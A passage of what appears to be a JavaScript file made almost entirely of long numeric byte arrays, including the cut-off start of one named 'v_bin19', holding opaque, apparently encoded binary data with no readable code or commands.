229,165,41,156,193,118,29,139,141,160,5,87,86,63,47,234,155,82,83,43,146,2,17,78,95,127,152,146,155,218,129,125,59,143,175,17,216,96,89,77,26,2,47,3,104,173,147,92,156,127,144,101,235,190,164,18,156,138,228,4,215,41,16,245,184,151,112,219,68,217,161,67,138,169,32,213,218,246,210,15,142,44,169,180,130,212,135,244,224,68,28,106,80,247,142,98,139,170,18,142,127,214,71,89,8,139,39,32,99,28,86,202,0,216,14,184,216,113,166,48,182,92,41,196,194,165,53,202,94,160,236,115,124,230,138,137,245,169,124,142,48,34,135,74,44,209,197,67,3,179,84,252,177,142,163,146,90,40,183,212,116,37,18,28,18,194,178,46,190,218,130,71,172,209,64,126,205,225,63,206,121,238,113,178,68,210,10,76,13,209,43,249,251,100,11,63,184,222,255,59,49,184,28,229,13,193,106,247,105,49,154,172,61,64,177,230,144,204,40,252,69,173,13,33,222,124,144,115,158,118,166,137,4,40,7,179,200,11,104,145,210,161,206,231,163,76,222,8,91,209,186,158,6,139,214,135,107,13,140,89,7,1,145,238,58,108,239,191,16,89,11,140,221,15,187,62,2,173,190,201,29,169,202,137,46,96,13,91,133,105,31,26,223,17,165,70,216,77,17,180,36,39,253,82,244,152,88,249,110,25,235,70,232,101,201,97,220,1,85,51,47,68,211,44,109,69,74,5,22,21,6,102,30,37,149,167,146,57,121,189,137,50,147,150,92,53,79,193,100,252,251,72,43,222,45,44,182,81,157,82,107,77,163,59,98,176,238,162,246,128,220,216,59,100,70,142,150,248,177,193,168,151,7,133,80,98,247,91,211,148,201,179,224,225,11,122,48,89,26,211,246,40,57,244,151,70,229,179,216,239,21,188,234,25,99,141,116,217,61,5,250,94,122,147,148,108,116,234,65,111,208,229,187,205,78,47,18,30,237,212,233,222,199,70,252,119,112,184,180,138,25,35,105,151,14,102,159,27,175,148,230,86,144,121,170,18,156,251,66,218,17,252,213,35,212,161,247,134,234,165,14,155,26,156,120,114,245,158,146,237,180,98,47,191,48,140,72,240,37,243,137,65,181,66,116,248,11,222,231,213,130,111,118,197,196,133,135,210,70,196,104,182,96,235,84,149,119,254,251,201,3,178,116,247,148,11,4,64,5,143,88,151,100,139,29,151,196,251,180,44,242,151,97,162,189,28,178,112,160,135,78,77,28,98,101,215,133,184,45,60,231,207,46,201,116,15,188,82,234,41,113,218,59,11,165,102,119,65,80,33,15,143,105,218,136,36,65,74,158,34,112,178,69,91,21,129,33,248,208,34,189,121,31,128,55,57,212,160,188,195,188,14,72,105,62,140,20,51,235,5,165,186,229,91,128,154,253,15,181,50,86,3,75,208,202,0,254,62,179,145,46,77,171,71,113,181,56,20,14,153,244,206,137,215,44,113,188,28,122,230,115,247,17,147,143,178,7,162,101,156,205,205,152,162,120,180,100,137,9,150,5,153,148,195,140,255,193,101,121,196,66,206,167,103,50,248,246,134,88,84,204,106,213,94,183,15,127,45,198,143,227,59,76,238,125,116,158,93,18,14,168,80,118,52,65,151,57,45,174,77,184,6,144,225,102,11,5,133,200,248,91,172,209,119,236,108,206,9,84,32,33,47,217,83,111,109,72,75,30,90,187,203,118,159,235,143,239,248,178,175,173,159,220,137,83,194,243,221,152,248,26,67,147,123,106,157,155,46,198,122,99,140,90,89,218,191,211,75,134,101,92,9,56,70,203,101,240,91,8,131,215,180,153,251,233,145,100,241,28,103,207,87,122,0,150,87,50,98,207,194,138,121,50,133,30,175,56,243,77,89,254,157,212,57,237,127,255,108,16,145,136,130,112,172,113,55,98,29,196,145,145,43,22,166,43,55,249,193,87,78,221,10,170,61,245,150,112,251,60,155,112,120,96,177,49,231,230,34,196,74,42,115,38,53,132,206,45,198,30,189,94,117,150,55,229,103,142,197,159,198,210,81,124,183,124,168,170,82,196,26,255,5,10,237,16,118,224,57,54,187,69,220,220,135,41,243,49,142,58,131,195,219,72,148,67,21,247,195,230,42,231,106,15,14,147,0,248,48,5,120,166,106,104,29,237,153,55,197,233,48,203,160,232,104,145,36,7,94,121,38,87,57,243,184,108,89,184,193,90,189,66,149,15,115,193,184,156,252,187,218,24,192,178,104,146,169,79,208,177,87,227,1,246,255,146,57,105,121,161,133,186,172,166,150,241,193,35,94,238,187,133,160,73,32,210,106,79,199,157,133,141,63,83,166,18,59,184,160,158,226,50,1,245,95,249,137,193,199,232,210,101,105,78,184,2,41,69,254,28,109,203,186,4,141,102,218,1,187,160,107,89,168,97,118,163,51,116,229,32,241,113,122,252,29,147,125,174,175,85,119,31,1,246,248,120,170,200,141,140,243,77,39,107,65,18,48,252,10,6,184,149,250,224,205,86,83,72,33,236,179,229,32,82,94,109,116,113,59,64,79,37,35,249,104,207,215,207,7,172,109,178,96,157,25,0,27,229,73,47,44,95,153,37,28,122,7,245,242,69,236,164,3,104,116,139,73,103,72,52,86,194,176,179,255,83,172,38,9,105,44,78,209,59,249,185,196,60,91,129,215,240,12,90,236,112,12,132,57,186,101,33,204,93,203,152,141,114,17,81,170,208,189,153,172,13,171,236,192,127,254,7,2,135,91,128,15,76,65,5,186,42,103,45,194,45,235,46,236,199,23,120,55,132,105,42,219,46,26,199,255,253,151,48,46,200,107,160,193,210,57,95,134,153,43,182,188,38,56,39,78,193,143,119,181,79,53,219,8,135,143,36,72,163,66,172,215,115,135,135,181,131,115,60,37,87,101,135,181,241,68,99,254,6,24,43,61,35,118,246,149,185,196,98,25,167,74,31,161,158,82,19,168,190,130,225,228,126,183,209,56,158,191,32,108,162,145,222,230,114,169,166,243,175,160,221,90,247,3,248,47,147,164,157,12,11,153,180,47,81,232,226,4,133,236,12,87,167,99,72,228,23,62,178,97,160,179,59,211,86,63,189,162,38,169,218,254,239,43,161,218,226,244,71,24,13,215,2,134,190,101,150,47,155,38,183,171,129,126,107,251,143,72,158,50,208,199,199,252,12,159,175,196,146,129,130,73,35,241,186,208,252,152,246,151,14,230,213,204,156,2,89,168,150,198,137,120,149,230,6,157,118,197,197,251,67,1,86,110,5,201,213,110,101,130,125,66,171,207,254,27,5,212,134,118,127,31,146,88,15,238,161,217,216,226,75,239,196,156,176,180,220,10,198,50,228,166,38,34,77,244,66,87,27,238,72,164,72,62,215,55,12,230,210,163,35,120,170,172,48,177,66,0,90,219,33,59,15,135,152,207,47,108,60,81,76,253,122,16,68,183,190,209,103,123,244,56,152,51,173,177,254,176,124,235,28,210,4,97,246,28,87,180,211,173,192,180,163,64,208,89,132,38,193,204,7,124,110,52,251,84,21,231,152,226,231,4,216,127,11,178,11,248,139,194,20,241,200,22,188,220,72,198,66,155,83,238,139,107,81,246,154,125,70,192,222,219,80,174,16,89,86,214,164,152,30,216,0,171,155,8,90,168,127,53,96,2,228,115,189,199,62,27,248,120,122,35,168,67,143,50,128,17,191,199,176,234,26,102,240,194,218,37,6,82,126,58,151,98,137,212,101,242,67,196,185,10,164,141,134,167,166,118,97,54,222,185,144,160,200,62,239,153,3,90,101,31,161,139,229,198,4,104,75,158,13,177,116,56,123,191,246,253,114,221,207,26,122,171,220,96,88,67,185,80,26,194,134,47,190,248,67,233,90,88,26,249,111,153,70,101,157,16,121,90,81,216,169,146,108,67,212,61,56,5,118,54,121,117,110,195,172,237,165,211,237,84,151,182,83,220,40,252,73,124,159,46,234,193,169,38,234,12,244,237,80,239,211,161,112,226,161,224,42,35,190,4,177,61,136,160,245,153,119,235,138,64,243,155,131,138,226,227,181,146,4,41,161,110,127,54,173,27,191,235,158,182,2,215,60,215,239,222,169,199,220,63,22,45,135,183,1,102,34,157,251,247,221,204,170,43,209,245,96,167,168,152,88,127,141,103,161,227,202,154,27,223,166,169,112,31,244,128,114,240,2,52,82,8,79,166,58,238,134,90,37,23,6,208,192,128,195,255,103,14,170,58,12,207,110,33,164,116,93,18,207,87,119,131,71,202,199,246,91,189,251,198,46,69,133,217,206,249,206,23,26,48,123,199,244,17,18,82,108,66,148,80,222,10,239,14,147,191,103,189,3,222,122,140,212,205,242,17,207,125,190,214,57,212,218,170,34,118,165,82,110,227,138,156,24,215,113,79,122,193,107,60,52,207,89,24,219,61,206,141,46,40,235,72,100,46,227,209,0,46,174,208,189,47,250,53,100,242,186,51,227,249,37,113,202,200,4,45,23,160,121,66,121,138,16,230,125,206,84,249,137,33,84,239,189,121,49,217,65,21,253,223,81,242,215,157,133,166,91,204,18,108,105,106,134,230,162,44,245,205,25,42,198,113,26,28,253,222,103,194,128,227,145,198,99,28,198,150,24,68,231,29,169,161,70,63,135,154,242,168,79,175,80,207,115,197,189,169,155,193,57,19,179,107,30,184,176,220,244,219,142,167,142,157,166,117,78,12,62,180,178,243,197,15,206,134,251,161,174,11,62,40,135,145,125,191,4,247,146,24,157,174,44,236,243,59,151,99,103,237,177,57,27,254,118,29,56,138,2,1,199,53,170,190,228,119,85,32,235,176,158,207,78,171,230,184,183,235,251,32,20,14,101,125,56,17,110,155,101,25,177,196,235,7,119,118,222,90,195,189,25,166,191,101,95,220,128,0,70,121,2,163,64,136,112,64,100,42,214,73,155,1,232,122,62,46,68,40,172,151,123,214,165,132,155,76,97,184,192,133,40,96,44,233,124,161,92,70,152,26,199,108,51,146,99,111,249,83,181,162,239,178,14,157,26,177,127,129,32,25,201,6,176,162,108,34,67,132,149,102,137,64,79,191,201,134,9,165,158,195,97,34,12,124,60,249,99,216,154,45,80,178,67,211,102,76,173,237,246,197,113,90,149,213,98,187,112,202,131,168,224,5,36,17,56,104,79,30,58,201,86,110,240,252,28,155,149,114,22,57,179,243,179,92,222,123,29,53,76,33,127,165,159,1,199,62,47,218,130,6,186,84,40,230,157,221,6,215,157,90,186,36,127,222,29,200,208,136,63,163,75,121,57,227,127,42,42,34,92,245,222,250,63,50,109,111,81,60,209,47,214,175,37,85,17,185,191,47,243,108,110,92,255,130,130,196,243,100,46,175,183,166,106,3,74,222,53,21,205,63,137,166,96,53,207,98,99,133,103,43,105,83,209,107,160,197,217,239,100,106,135,250,238,110,55,109,156,66,249,91,1,103,63,63,173,116,220,240,18,227,242,95,32,134,188,209,66,123,76,234,164,159,217,182,232,249,60,26,233,56,134,86,137,32,207,28,177,194,216,109,77,30,221,77,122,55,60,123,75,70,69,239,62,72,62,57,156,83,214,230,174,207,54,102,254,89,140,227,104,82,171,175,163,79,102,203,234,161,5,41,125,106,24,204,92,187,103,147,128,237,51,75,12,51,105,122,170,205,124,142,183,45,24,244,218,34,35,22,155,62,182,192,162,219,136,79,48,19,100,80,35,235,244,39,16,110,44,108,182,45,118,69,21,40,3,74,14,65,2,31,121,119,99,247,173,141,118,30,116,189,134,215,122,185,173,217,161,180,85,224,118,168,138,230,192,223,26,239,140,139,82,137,151,0,137,113,116,99,188,11,134,205,121,131,252,220,140,13,85,253,5,182,173,193,171,196,194,84,17,56,94,239,132,131,122,171,81,101,156,208,197,33,150,225,183,58,188,143,252,226,96,142,239,47,56,10,199,44,109,191,114,186,10,244,46,96,208,221,104,61,119,24,178,189,21,125,123,177,72,23,143,116,132,128,41,171,223,134,188,40,220,137,140,43,251,6,18,128,210,5,110,16,87,221,30,136,22,28,147,243,30,95,21,17,220,89,45,222,34,94,87,137,147,63,36,9,29,8,170,155,191,45,24,234,227,141,148,135,75,54,244,186,113,227,158,238,167,80,67,184,136,119,130,153,87,123,45,9,108,255,126,252,144,101,112,44,91,28,117,85,208,84,75,240,238,119,187,92,251,250,252,118,157,63,68,122,71,231,50,55,19,34,172,43,169,195,232,46,153,154,136,230,115,74,165,180,76,102,77,180,159,62,111,110,237,161,244,253,245,11,161,20,183,24,51,247,252,183,172,83,98,29,80,3,75,39,167,137,8,204,186,43,216,65,235,216,57,44,84,218,89,12,181,177,239,128,121,220,129,73,135,32,75,253,72,30,241,40,61,100,5,49,167,118,61,59,145,193,72,115,181,76,152,135,108,47,106,248,194,249,75,224,240,148,94,187,161,238,129,213,70,212,72,207,21,205,142,159,63,59,73,234,93,1,189,151,16,77,52,148,68,157,197,80,84,206,201,170,225,229,102,99,60,221,41,2,58,185,14,67,14,167,10,81,227,121,77,31,242,118,103,71,66,198,179,175,139,174,140,6,6,22,155,33,223,70,19,169,192,88,105,230,48,171,130,28,175,182,208,211,24,54,67,217,32,143,196,190,160,77,228,12,234,235,0,194,197,209,156,196,40,85,252,150,63,210,209,247,68,110,109,47,166,160,54,141,192,121,22,33,69,137,150,219,141,15,59,188,172,204,218,185,171,159,22,3,113,33,15,217,69,7,113,175,168,125,146,236,188,146,51,180,49,36,214,37,240,47,84,29,193,221,110,63,203,144,13,62,177,193,18,14,204,14,172,243,55,160,183,208,241,19,133,236,63,101,72,196,85,113,150,205,14,66,197,228,115,226,179,89,240,230,145,49,46,3,20,131,239,60,235,51,102,146,207,30,243,188,129,125,81,50,52,20,12,86,40,173,163,44,238,253,68,187,136,232,151,213,72,224,91,13,131,32,7,105,218,190,109,239,168,255,237,179,122,117,212,207,8,146,62,203,135,20,29,142,125,139,233,161,174,245,219,6,84,237,159,109,160,133,56,145,121,185,184,97,241,8,221,219,10,221,199,102,250,149,75,28,51,238,165,249,194,73,7,120,191,220,72,57,40,106,24,175,74,13,219,174,92,195,82,216,84,124,25,139,251,15,109,245,9,230,27,161,124,81,155,244,121,212,235,222,201,228,215,180,138,78,251,252,15,135,79,153,21,146,100,205,8,190,60,109,201,59,140,177,188,114,165,94,62,59,2,49,59,237,154,215,57,69,89,100,151,147,124,130,121,190,201,163,18,149,183,227,198,206,205,196,113,156,197,215,124,113,52,251,167,135,217,163,182,137,154,124,81,197,38,103,228,92,81,46,70,125,123,171,148,51,48,7,251,43,221,236,169,167,92,86,17,192,251,21,189,153,69,209,159,5,51,208,184,214,236,221,211,200,47,64,80,244,13,198,143,164,150,158,229,41,236,255,33,30,19,167,4,17,24,17,178,126,154,154,92,19,128,105,160,202,193,55,45,199,157,59,51,69,255,139,227,160,126,80,146,237,57,248,169,91,218,229,84,113,69,142,83,49,242,3,162,43,27,95,41,216,113,53,163,151,219,149,222,135,250,212,181,240,186,62,48,3,103,25,73,19,170,243,64,157,9,208,178,201,146,18,248,219,0,224,88,183,221,46,12,233,255,55,196,72,50,93,227,118,150,19,63,209,171,32,252,85,61,36,97,28,218,106,234,172,2,68,5,18,204,55,139,182,182,167,101,132,197,201,97,134,22,73,43,98,211,131,64,196,218,240,177,90,116,85,73,217,78,44,79,255,254,136,222,89,4,172,66,68,227,134,236,111,231,224,184,8,252,231,34,108,67,165,241,244,15,4,236,47,153,26,11,151,9,215,35,219,67,169,183,16,225,195,201,241,87,251,237,223,179,102,46,60,218,247,74,174,120,5,210,87,121,17,57,218,105,92,155,41,35,63,249,26,13,99,185,246,136,45,27,144,178,91,181,167,66,64,193,219,205,6,89,52,8,41,87,128,4,66,91,129,225,53,195,16,68,168,143,78,170,116,217,65,62,222,252,170,100,152,96,212,232,17,195,236,3,84,138,149,149,192,88,156,133,198,213,230,223,107,230,16,21,139,158,199,159,125,109,195,39,212,80,114,43,120,201,52,77,150,177,196,212,40,83,172,2,105,143,221,191,186,81,73,194,71,230,219,14,208,86,202,157,95,106,129,37,175,138,27,0,199,63,243,49,87,80,82,63,51,87,96,130,249,220,187,162,124,67,127,93,204,149,94,215,35,161,159,149,75,59,119,155,255,8,13,34,31,208,222,194,37,82,192,25,149,241,58,246,4,108,54,235,254,33,102,170,160,44,219,130,108,6,11,14,123,153,163,172,45,71,91,17,97,150,119,36,144,219,104,217,47,156,148,194,220,50,15,144,163,108,220,140,227,33,41,157,40,120,113,208,153,79,253,216,18,150,197,107,100,72,179,234,223,18,173,82,24,133,40,134,109,92,110,22,91,154,247,64,162,134,108,160,225,174,140,193,14,112,13,42,114,194,49,255,79,20,123,123,23,89,99,167,224,137,194,71,53,228,83,190,111,236,40,236,18,190,97,85,181,201,152,146,24,31,101,99,47,42,207,99,29,189,18,76,96,153,230,32,153,78,223,101,9,32,113,73,14,152,219,110,161,148,243,108,102,142,99,253,132,142,243,147,144,55,6,197,120,168,251,249,134,135,135,84,237,81,42,17,85,162,106,49,108,152,136,186,116,41,20,144,72,171,183,54,73,152,188,52,122,182,92,51,251,201,147,90,242,174,96,161,71,144,171,107,217,196,42,19,154,26,146,248,116,100,94,251,13,207,18,148,35,84,149,177,176,204,94,28,52,172,16,114,196,207,142,220,49,96,75,13,46,133,190,141,156,141,124,122,126,247,61,168,179,47,61,126,240,85,114,34,59,244,59,130,54,19,31,239,126,123,35,148,185,181,17,172,166,160,142,93,24,115,253,171,133,255,66,135,103,132,237,185,167,20,122,152,1,208,227,48,0,72,87,67,131,0,204,148,1,200,34,121,88,219,255,100,204,159,201,227,153,251,224,57,192,208,86,71,206,186,235,58,69,189,112,84,117,163,168,246,189,90,194,81,216,137,218,217,37,194,96,158,92,88,27,117,252,210,1,111,77,204,25,138,44,168,251,53,2,254,142,114,157,218,137,243,232,41,126,138,153,24,140,230,205,82,113,185,250,138,173,128,62,100,232,155,112,187,83,192,108,213,127,24,208,23,12,253,252,219,207,213,93,37,239,96,83,150,244,217,189,240,11,24,8,217,132,217,236,209,16,213,221,111,66,222,26,206,131,157,13,211,215,167,90,15,191,242,32,34,74,74,87,60,85,111,124,140,240,166,59,118,132,16,35,219,209,200,87,91,181,210,187,14,1,234,45,71,148,186,132,155,148,6,116,92,99,101,65,156,195,232,51,23,189,223,207,176,76,89,183,76,180,174,128,124,229,72,142,224,249,116,119,73,38,127,175,242,42,189,140,221,177,70,98,2,97,21,102,15,224,113,223,219,45,3,245,94,39,121,111,194,1,98,232,86,131,225,156,235,148,92,72,12,227,128,122,183,131,106,23,158,122,254,63,120,150,230,235,105,96,66,63,86,0,73,213,95,26,172,101,255,139,53,164,7,118,184,40,200,147,4,224,221,165,215,151,206,63,194,215,62,62,45,211,76,228,83,35,22,209,170,48,173,55,177,129,149,183,47,96,182,207,194,58,245,195,192,153,190,234,113,146,247,172,158,137,172,175,133,130,163,181,99,139,159,177,212,98,133,20,224,157,104,254,10,225,27,126,26,181,43,34,129,0,22,149,64,58,72,241,192,21,131,144,168,158,131,127,144,77,21,20,155,248,140,104,34,182,103,161,93,105,83,53,11,161,103,212,214,108,210,187,90,46,203,198,44,67,250,54,216,129,45,33,64,140,205,213,255,89,237,239,45,184,98,18,113,139,249,92,236,11,41,33,163,105,130,166,110,234,137,138,71,61,31,111,137,17,69,120,183,26,75,56,52,43,115,95,76,166,202,175,209,244,134,87,41,104,116,147,126,161,110,128,161,177,176,3,43,24,44,42,28,120,25,171,102,88,51,59,57,178,92,226,83,176,177,195,237,214,84,238,153,99,114,249,8,216,190,200,116,33,43,83,190,255,89,11,121,3,170,123,255,233,8,162,223,168,73,129,141,73,254,147,130,219,239,49,219,186,86,80,74,120,54,54,248,148,115,147,183,32,1,128,209,15,95,76,148,16,172,19,106,4,146,103,247,110,244,99,65,221,140,27,150,54,153,231,118,74,131,234,146,28,236,236,214,170,232,96,188,92,31,144,158,65,108,74,30,87,22,50,193,175,74,73,114,160,196,59,107,198,234,11,50,238,22,61,30,249,166,24,69,191,231,149,35,207,215,58,246,150,75,11,156,22,240,207,236,85,219,204,64,154,239,33,34,98,72,29,213,18,13,48,100,111,161,52,177,112,151,119,211,106,204,64,117,129,81,140,10,174,38,206,107,81,239,211,59,192,238,239,192,92,3,181,180,238,111,245,32,19,46,79,176,60,210,69,249,74,254,17,97,25,200,215,138,90,194,75,186,123,111,147,78,185,228,166,44,151,174,179,13,244,122,60,172,215,163,15,223,16,141,1,20,59,177,215,220,120,97,189,118,81,72,12,176,36,157,149,222,187,212,164,183,86,39,37,107,247,208,141,252,125,195,112,179,131,171,6,24,202,190,189,9,97,118,191,82,206,109,51,97,221,255,58,26,106,213,51,67,141,232,85,124,164,2,55,206,96,87,3,17,36,16,29,75,123,232,215,187,21,24,110,240,205,19,173,125,74,178,221,3,83,26,233,55,242,163,101,122,112,176,121,113,23,115,179,237,215,236,47,69,101,51,128,130,147,31,188,158,15,214,109,206,120,47,23,137,27,237,177,74,195,79,209,204,46,120,44,60,238,253,188,121,251,109,254,232,20,221,20,42,36,83,23,10,8,125,170,228,208,165,71,13,225,122,104,247,192,17,218,181,189,110,246,47,93,5,58,65,186,12,6,96,128,175,217,48,214,167,184,230,226,56,244,6,97,175,142,223,194,222,204,117,225,76,167,92,186,236,123,206,179,225,211,112,171,185,87,245,73,23,189,16,48,157,61,176,18,240,188,184,211,134,131,57,196,73,97,51,143,253,35,45,151,203,165,228,236,47,69,96,63,225,28,235,58,74,215,205,234,117,26,158,251,155,242,152,249,1,24,45,176,199,123,66,131,71,112,170,99,87,87,241,208,54,130,91,163,146,53,27,246,36,179,50,185,24,233,141,224,75,122,211,233,160,185,72,92,74,132,253,45,114,26,112,171,77,20,223,82,65,114,40,245,135,236,56,104,0,17,225,110,211,169,215,244,234,110,206,235,101,197,117,72,243,137,92,93,86,128,188,254,30,230,197,242,185,243,55,207,10,209,64,46,133,8,224,255,128,147,160,16,66,107,245,12,24,176,14,12,230,149,59,104,120,154,149,43,163,23,52,175,199,208,149,141,203,230,127,153,194,130,64,59,27,205,246,197,71,52,196,87,129,159,88,138,80,120,138,177,29,254,153,154,2,163,254,49,82,54,213,64,21,57,244,197,170,208,192,34,33,107,145,121,26,118,63,224,77,187,30,67,8,8,228,105,103,35,233,37,134,164,174,220,251,5,82,168,101,158,192,174,29,144,80,143,96,49,5,43,84,147,247,216,148,157,161,17,114,133,186,133,12,86,250,184,14,129,185,253,138,240,95,188,122,164,34,114,109,35,76,33,94,70,197,1,13,216,254,81,18,222,115,110,144,72,15,220,80,21,177,214,109,45,171,53,249,180,223,241,145,145,62,130,28,120,44,8,52,153,150,48,134,132,130,226,250,82,44,78,65,114,150,160,15,63,246,208,168,7,1,85,140,52,247,157,251,73,34,23,67,119,111,112,21,116,144,150,25,134,77,187,55,88,240,89,35,85,29,3,155,165,28,251,249,28,100,4,221,202,22,225,187,12,153,161,208,80,247,15,85,166,143,115,193,13,136,143,75,5,12,192,162,105,49,49,250,215,155,97,90,162,172,82,115,252,210,225,176,247,101,76,25,201,38,212,43,135,219,244,102,203,193,89,95,121,57,148,152,100,146,161,79,3,245,48,218,53,160,8,188,33,27,48,212,128,195,97,162,14,174,66,174,32,155,254,177,38,53,219,213,154,218,239,86,39,120,55,123,1,76,5,168,1,196,11,244,237,97,245,42,205,230,62,187,243,246,132,211,191,101,9,17,5,119,103,178,121,132,171,67,8,231,148,238,69,104,7,196,181,159,58,121,62,133,216,71,131,222,203,102,212,162,159,129,164,227,137,248,142,201,163,167,199,43,224,234,10,214,92,136,239,172,164,114,20,99,3,81,212,135,238,138,159,189,178,75,6,184,164,158,49,140,245,96,64,217,18,87,49,11,231,108,48,227,241,222,207,153,185,145,156,178,217,208,142,125,117,109,39,148,34,51,161,11,161,221,54,147,180,191,65,112,187,204,222,4,184,121,17,144,171,32,10,72,193,55,208,235,207,249,37,126,151,5,78,146,136,219,154,221,149,28,198,240,225,13,251,224,26,15,28,149,64,75,70,62,17,147,114,182,2,170,3,241,21,206,189,44,149,145,229,255,35,24,47,78,2,171,19,209,54,15,118,30,146,212,130,48,31,161,134,128,129,166,5,79,87,125,140,185,88,194,24,9,185,223,65,241,80,182,248,23,192,80,8,33,81,210,72,65,27,227,116,187,175,205,124,190,47,41,193,49,131,5,75,222,140,230,248,94,95,12,239,222,197,157,251,37,197,121,45,3,47,84,82,95,47,47,132,35,10,238,121,116,169,159,206,97,237,150,192,34,239,163,240,116,226,193,134,53,11,45,151,95,73,214,209,140,225,193,252,188,246,83,55,207,220,22,137,110,68,113,202,182,232,46,157,38,41,137,218,178,189,83,183,21,95,123,29,149,56,143,121,146,50,193,0,62,213,224,59,190,78,66,104,143,220,41,62,231,23,82,146,66,68,252,233,120,81,236,74,110,135,153,194,69,178,141,204,193,62,9,55,60,21,38,206,235,122,16,122,242,222,43,30,107,246,246,156,238,56,180,20,202,219,54,208,152,84,47,126,195,13,227,72,215,156,175,11,192,111,100,113,244,24,55,60,14,211,245,196,190,39,56,46,119,199,158,105,47,4,184,114,46,183,44,189,220,164,252,196,246,172,170,166,123,119,236,98,246,182,70,144,252,234,71,208,148,19,143,84,229,79,1,176,14,26,237,139,30,124,69,118,224,214,191,122,220,244,143,59,240,60,157,34,20,8,137,37,15,102,241,118,41,30,29,238,161,232,105,12,55,214,243,138,74,67,52,156,245,154,93,11,118,238,144,147,239,5,128,130,101,68,121,0,57,119,136,193,208,243,61,144,5,231,70,20,237,233,225,233,16,208,194,240,18,79,241,37,54,93,145,94,84,108,6,168,172,88,76,103,58,117,212,139,73,119,157,109,101,31,247,234,43,90,143,121,208,112,34,198,115,12,47,158,156,188,197,103,3,36,244,169,205,98,25,226,207,58,209,112,132,26,14,12,169,173,142,188,119,81,55,48,107,223,42,130,69,123,54,156,102,25,46,80,51,59,210,155,77,194,9,30,138,137,190,185,93,1,131,202,0,79,37,46,96,225,56,84,221,182,14,127,178,121,64,247,139,157,232,102,60,79,56,24,28,120,170,55,78,166,231,34,235,109,196,25,116,56,143,227,113,133,101,205,141,235,103,7,157,209,43,34,133,93,18,187,104,177,133,3,243,135,160,158,93,62,231,207,3,144,135,0,59,157,90,208,238,94,57,229,192,67,215,71,147,16,63,177,50,255,236,88,135,216,34,59,180,82,170,152,153,71,176,182,116,75,241,25,2,154,83,217,246,54,81,165,33,224,240,106,86,179,175,159,88,140,243,44,174,86,38,211,159,65,49,39,112,143,42,149,179,101,141,200,201,227,77,136,165,60,2,245,209,13,167,186,219,143,187,245,88,219,73,60,180,40,13,192,193,147,150,150,130,195,120,220,12,239,202,240,108,52,56,48,153,92,23,147,209,171,133,131,78,49,39,21,47,204,29,255,50,203,137,140,186,100,244,94,187,220,44,196,214,32,69,226,45,100,214,173,86,198,93,110,68,162,55,71,195,159,66,29,25,50,22,123,18,241,52,121,138,47,51,100,144,26,170,156,222,98,14,252,161,3,139,210,5,63,137,104,127,132,16,176,186,157,170,240,20,140,132,100,143,102,55,227,5,113,98,29,220,89,16,5,151,14,226,98,251,239,176,151,49,12,87,124,9,232,127,190,82,90,152,184,118,245,93,179,187,45,250,73,111,66,75,223,180,64,225,156,236,80,111,51,11,231,109,202,235,178,224,180,81,23,94,238,165,157,14,50,165,132,51,170,224,45,4,81,115,248,57,248,15,217,217,225,58,46,136,167,207,64,218,84,15,138,145,232,133,173,7,213,83,232,177,77,57,119,12,174,160,214,205,132,147,56,140,92,123,191,40,26,37,70,52,76,122,229,244,229,221,64,229,239,75,177,67,244,111,220,242,117,23,68,79,59,243,12,204,142,221,66,247,42,44,136,69,21,203,83,87,150,68,151,227,42,194,89,41,72,194,115,99,214,98,79,6,143,237,250,96,49,143,233,221,212,80,107,98,10,83,45,221,62,250,174,122,251,48,20,228,216,178,133,48,134,96,206,38,48,139,248,61,39,51,35,166,170,150,33,51,132,24,47,133,243,174,84,142,22,251,73,81,137,30,184,78,195,142,27,218,238,239,248,175,156,114,176,225,175,193,214,182,114,222,162,46,153,125,41,128,134,53,110,179,136,99,18,26,73,117,118,190,150,215,124,92,199,198,66,51,59,134,177,94,147,131,138,252,174,29,187,253,15,184,216,38,207,138,210,73,53,68,182,196,251,2,53,255,145,168,251,140,122,236,241,193,76,132,104,123,63,160,149,72,108,31,160,201,40,98,252,148,121,42,158,10,136,70,233,32,106,56,72,135,55,60,129,114,22,51,167,101,219,27,172,129,211,96,110,127,19,62,103,160,231,231,178,139,129,8,206,26,144,0,164,251,55,53,80,50,89,124,88,215,199,117,201,87,226,49,102,34,198,14,125,186,1,121,192,206,136,169,159,175,170,136,69,123,82,153,190,90,206,38,30,38,230,187,245,132,87,201,222,78,60,42,61,95,196,55,175,224,156,142,112,127,249,83,178,9,42,171,90,39,98,229,75,14,120,71,98,194,100,90,153,182,131,162,22,204,116,97,99,80,183,125,171,251,138,162,6,106,71,163,247,32,47,246,100,36,67,110,79,70,120,98,235];
var v_bin19 = [85,53,71,125,16,52,160,211,207,132,112,125,249,133,89,61,137,149,212,62,70,201,162,166,201,19,114,76,121,157,236,146,84,127,237,236,183,127,126,148,199,81,70,67,177,171,146,46,189,132,24,99,232,141,183,11,34,140,7,10,12,197,218,8,211,208,17,122,93,45,119,1,115,83,138,5,29,47,92,45,190,224,181,213,72,46,42,183,230,12,98,49,193,103,24,17,163,208,110,177,123,98,92,157,249,151,58,174,208,123,249,14,88,39,90,242,196,242,159,80,167,63,203,119,220,243,233,1,0,145,106,246,206,124,123,139,107,53,96,147,234,233,114,209,96,110,148,99,177,174,8,228,151,167,146,225,253,85,109,103,245,97,91,193,154,178,171,126,85,10,24,149,141,186,173,141,42,64,167,119,36,104,22,84,224,76,7,7,232,219,61,33,190,59,138,199,143,3,148,42,54,132,41,228,82,97,185,73,53,226,88,216,177,54,99,83,238,98,14,159,121,128,217,145,129,16,225,179,166,63,83,232,210,62,79,53,155,241,162,186,184,195,244,125,85,65,61,159,192,2,179,186,37,46,190,50,40,184,31,130,150,223,204,128,8,11,149,160,7,196,206,185,109,146,173,144,68,158,211,4,24,152,37,191,51,48,59,152,41,134,173,39,143,66,21,214,226,147,21,223,128,88,51,32,9,140,159,242,222,118,167,153,241,107,128,84,32,170,248,201,100,230,141,193,195,68,191,182,187,172,10,185,114,171,148,73,56,250,2,221,58,57,78,193,82,230,44,125,34,12,3,34,86,106,240,150,117,46,113,15,41,37,35,91,232,4,227,1,67,22,24,196,4,165,186,208,127,15,11,231,192,242,138,167,82,12,148,27,2,213,90,204,217,204,51,187,181,31,139,77,241,24,77,180,29,207,145,149,37,61,152,91,9,43,200,209,91,189,186,214,56,171,15,61,254,57,62,206,209,165,143,73,54,146,185,223,75,37,231,246,211,184,77,227,48,49,212,178,210,240,181,174,71,138,109,246,85,56,8,82,131,208,209,244,11,204,60,126,109,53,137,170,217,21,43,140,115,141,55,226,253,61,117,250,60,181,180,34,192,67,125,4,247,208,24,123,216,243,68,117,128,195,15,160,51,255,84,218,64,100,39,37,126,165,5,49,31,233,11,173,197,20,174,202,14,